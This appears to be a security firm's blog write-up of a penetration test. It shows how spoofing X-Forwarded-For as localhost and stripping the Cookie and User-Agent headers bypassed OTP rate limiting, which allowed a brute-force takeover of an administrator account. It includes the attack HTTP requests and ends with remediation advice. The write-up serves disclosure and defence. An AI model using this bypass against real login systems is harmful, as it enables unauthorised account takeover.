Skip to main content

One-Time-Pwn: Unauthenticated account takeover via One-Time Password

Illustration of One-Time-Pwn: Unauthenticated account takeover via One-Time Password
Maksym Hensitskyi

Intro

Security features are meant to strengthen authentication, but sometimes they do the opposite. Due to a logic flaw, the mechanism intended to enhance security instead functions as a backdoor. As a result, an attacker could compromise any registered account in the application simply by knowing its email address.

The web application implemented several security measures to protect its OTP-based authentication flow. Each OTP was a uniformly random 6‑digit code, and users were limited to three OTP verification attempts per code. After the third incorrect attempt, a new OTP had to be requested. Additionally, new OTP requests were throttled, enforcing a one‑minute cooldown before another code could be issued. In theory, this combination of rate limiting and cooldown logic was meant to prevent brute‑force attacks.

Issue was identified in the application’s OTP-based authentication flow, where weak logic allowed attackers to bypass rate limiting and repeatedly guess OTP codes.

By exploiting the application’s improper handling of the X-Forwarded-For header and its inconsistent rate-limiting logic (requests specified as originating from localhost were not subject to rate limiting.), an attacker was able to launch a high-volume OTP brute-force attack.

The application relied on the Cookie and User-Agent headers to track requests, tying rate-limit decisions to a client-controlled value instead of enforcing logic based on the targeted account.

The web application also enforced IP-based rate limiting, restricting the number of requests allowed from a single source address.

This design normally allows attackers to evade protections by rotating IPs, proxies, or VPNs—but in this case, evasion was even easier: simply removing the Cookie and User-Agent headers and manipulating the X-Forwarded-For header was enough to bypass rate limiting entirely and override source IP address protections.

The following example requests illustrate how the security mechanisms described above were bypassed. The first shows how OTP messages could be triggered without limitation, and the second demonstrates how unrestricted sign‑in attempts were possible.

Step 1 - send OTP:

POST /api/auth/email-otp/send-verification-otp HTTP/2
Host: [redacted]
X-Forwarded-For: localhost
Cookie: (removed)
User-Agent: (removed)
 
{
   "email":"[redacted]",
   "type":"sign-in"
}

Step 2 - verify OTP:

POST /api/auth/sign-in/email-otp HTTP/2

Host: [redacted]
X-Forwarded-For: localhost
Cookie: (removed)
User-Agent: (removed)

{
   "email":"[redacted]",
   "otp":"000000"
}

Combined, these weaknesses allowed the attacker to bypass protections and achieve full account takeover, exposing sensitive user data and administrative functionality.

Vulnerability discovery

Normal authentication workflow

The web application is built on React and Next.js. At the time of our security assessment, the 10/10 React2Shell CVE‑2025‑55182 was yet to be discovered :)

By design, the web application allows users to request a one-time password (OTP) consisting of a 6-digit numeric code. The operation is performed using the following request:

POST /api/auth/email-otp/send-verification-otp HTTP/2

Host: [redacted]
Cookie: [redacted]
Content-Length: 68
Accept-Language: en-GB,en;q=0.9
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: [redacted]
Accept: /
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted]/sign-in?from=/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{
   "email":"[redacted]",
   "type":"sign-in"
}

Response from the server:

HTTP/2 200 OK

Content-Type: application/json
Date: Mon, 10 Nov 2025 10:42:35 GMT
Server: railway-edge
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
X-Railway-Edge: railway/[redacted]
X-Railway-Request-Id: [redacted]

{
   "success":true
}

During the normal authentication process, the following request is sent to log in using the code received via email:

POST /api/auth/sign-in/email-otp HTTP/2

Host: [redacted]
Cookie: [redacted]
Content-Length: 66
Accept-Language: en-GB,en;q=0.9
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: [redacted]
Accept: /
Origin: https://[redacted]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted]/sign-in?from=/&email=[redacted]
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{
   "email":"[redacted]",
   "otp":"185018"
}

The application’s response, indicating a successful login, is shown below. The web application then issues a session token to represent the authenticated user’s identity.

HTTP/2 200 OK

Content-Type: application/json
Date: Mon, 10 Nov 2025 10:30:18 GMT
Server: railway-edge
Set-Cookie: __Secure-better-auth.session_token=Kms[redacted]6IQ%3D; Max-Age=604800; Path=/; HttpOnly; Secure; SameSite=Lax
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
X-Railway-Edge: railway/[redacted]
X-Railway-Request-Id: [redacted]

{
   "token":"Kms[redacted]MisZ",
   "user":{
      "id":"690c[redacted]385",
      "email":"[redacted]",
      "emailVerified":true,
      "name":null,
      "image":null,
      "createdAt":null,
      "updatedAt":"2025-11-10T09:49:23.975Z"
   }
}

If the OTP is invalid, the server responds with a 400 Bad Request status and an INVALID_OTP message:

HTTP/2 400 Bad Request

Content-Type: application/json
Date: Mon, 10 Nov 2025 12:58:48 GMT
Server: railway-edge
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
X-Railway-Edge: railway/[redacted]
X-Railway-Request-Id: [redacted]

{
   "code":"INVALID_OTP",
   "message":"Invalid OTP"
}

After three failed OTP attempts, the server responds with a 403 Forbidden status and a TOO_MANY_ATTEMPTS message:

HTTP/2 403 Forbidden

Content-Type: application/json
Date: Mon, 10 Nov 2025 11:37:06 GMT
Server: railway-edge
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
X-Railway-Edge: railway/[redacted]
X-Railway-Request-Id: [redacted]

{
   "code":"TOO_MANY_ATTEMPTS",
   "message":"Too many attempts"
}

An attack in action - bypassing rate limiting and brute-forcing the OTP code

An attack involves two simulation steps:

  1. Constant mail sending - /api/auth/email-otp/send-verification-otp API endpoint.

  2. Brute force of OTP access code - /api/auth/sign-in/email-otp API endpoint.

The attack is executed at a ratio of three OTP brute-force attempts per one OTP email request.

Each OTP is a uniformly random 6‑digit code. Under normal conditions, an attacker could legitimately request a new OTP and attempt three guesses per code.

Both actions are performed without effective rate limiting because it was found the web application accepts the X-Forwarded-For header.

By combining the attack cycle with removal of all Cookie headers and other unnecessary headers (such as User-Agent), and by supplying an X-Forwarded-For header with the value set to the application’s hostname or simply “localhost”, rate limiting is completely bypassed.

It was also observed that after several minutes of brute force, OTP email requests occasionally returned 500 Internal Server Error responses while others succeeded, suggesting the presence of partial throttling mechanisms or that the application becomes unstable under high request volume.

POST /api/auth/email-otp/send-verification-otp HTTP/2

Host: [redacted]
X-Forwarded-For: localhost
Content-Length: 68
Accept-Language: en-GB,en;q=0.9
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: /
Origin: https://[redacted]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[redacted]/sign-in?from=/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{
   "email":"[redacted]",
   "type":"sign-in"
}

The Cookie and User-Agent headers are removed, and the X-Forwarded-For header is added with the value set to localhost.

POST /api/auth/sign-in/email-otp HTTP/2

Host: [redacted]
X-Forwarded-For: localhost
Content-Length: 66
Accept-Language: en-GB,en;q=0.9
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Accept: /
Origin: https://[redacted]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{
   "email":"[redacted]",
   "otp":"000000"
}

After a high volume of traffic was sent using a Burp Suite Intruder attack, the OTP-sending component of the application began generating a large number of error messages, although it still continued to send some emails.

An attacker could log into the administrator account after 1 hour, 21 minutes, 39.9 seconds, following 266,935 failed OTP login attempts and 120,588 OTP email requests.

Although only around 1,500 emails were actually received during the activity, this may indicate that the backend’s OTP logic rotates OTP codes before the user receives the corresponding email.

Successful account takeover:

Recommendations and final notes

To reduce the risk of similar attacks, it is important to:

  • Ensure that OTP generation, rotation, and validation are robust and independent of headers or client-controlled data.

  • Apply rate limiting and throttling in a way that reliably enforces per-account protections, rather than relying on cookies or IP addresses that can be spoofed.

  • Use high-entropy, unpredictable OTP codes and keep their validity periods short to minimize the window for brute-force attacks.

  • Consider additional security layers, such as multi-factor authentication, especially for administrative or high-privilege accounts.

This case highlights how security mechanisms can inadvertently create vulnerabilities when underlying logic is flawed or overly reliant on client-controlled input. OTP-based authentication, while intended to protect users, can be undermined if rate limiting, delivery logic, or code generation is weak. Proper separation between user identity, request source, and rate-limiting logic is critical.

Ultimately, security mechanisms should be carefully designed and tested to avoid unintentionally becoming attack vectors themselves. Even well-intentioned features, if not implemented correctly, can open the door to account takeovers and compromise sensitive data.


Other Insights

Illustration of Desktop app security 101

Desktop app security 101

Adam Borczyk

In Securitum, we also perform security audits of desktop applications – everything ranging from a simple interface to complex systems with custom network protocols. Some of these apps are simply a wrapper around a database connection. It means that we can directly log in to the DB server and just issue SQL commands in there, all within the permissions granted to our role. This approach is called 2 tier architecture (client < - > DB) and is not recommended for security reasons, unless you can implement business logic and permission validation entirely on a database level, through grants, functions, procedures and such.

READ article
Illustration of CVE-2025-8890 Authenticated RCE in SDMC NE6037 router

CVE-2025-8890 Authenticated RCE in SDMC NE6037 router

Grzegorz Bronka

When testing connectivity of the SDMC NE6037 router inputting a quote character into the "ping" utility revealed an error indicating a Remote Code Execution (RCE) vulnerability. It is quite common to find RCE vulnerabilities in routers’ connectivity tools (such as ping or traceroute). The user-supplied parameters are passed without sanitization as a parameter to a shell command. This was confirmed to be the root cause in this instance.

READ article
Illustration of Extremaly quick AD takeover during Insider Threat audit

Extremaly quick AD takeover during Insider Threat audit

Jakub Żoczek

Insider Threat is a type of security test in which an auditor acts as a malicious employee and attempts to attack the organization from the inside. In this way, internal threats can be detected that the company might face in the event of an employee's workstation access being compromised, as well as the potential risk when the employee themselves has malicious intentions. The client provides a workstation configured identically to other employee workstations, as well as additional credentials that allow connection to email systems, the Intranet, or VPN. In other words - an artificial employee is created whose goal is to detect vulnerabilities, exfiltrate sensitive data, or - if possible - take control of the network or key servers.

READ article
A professional cybersecurity consultant ready to assist with your inquiry.

Any questions?

Happy to get a call or email
and help!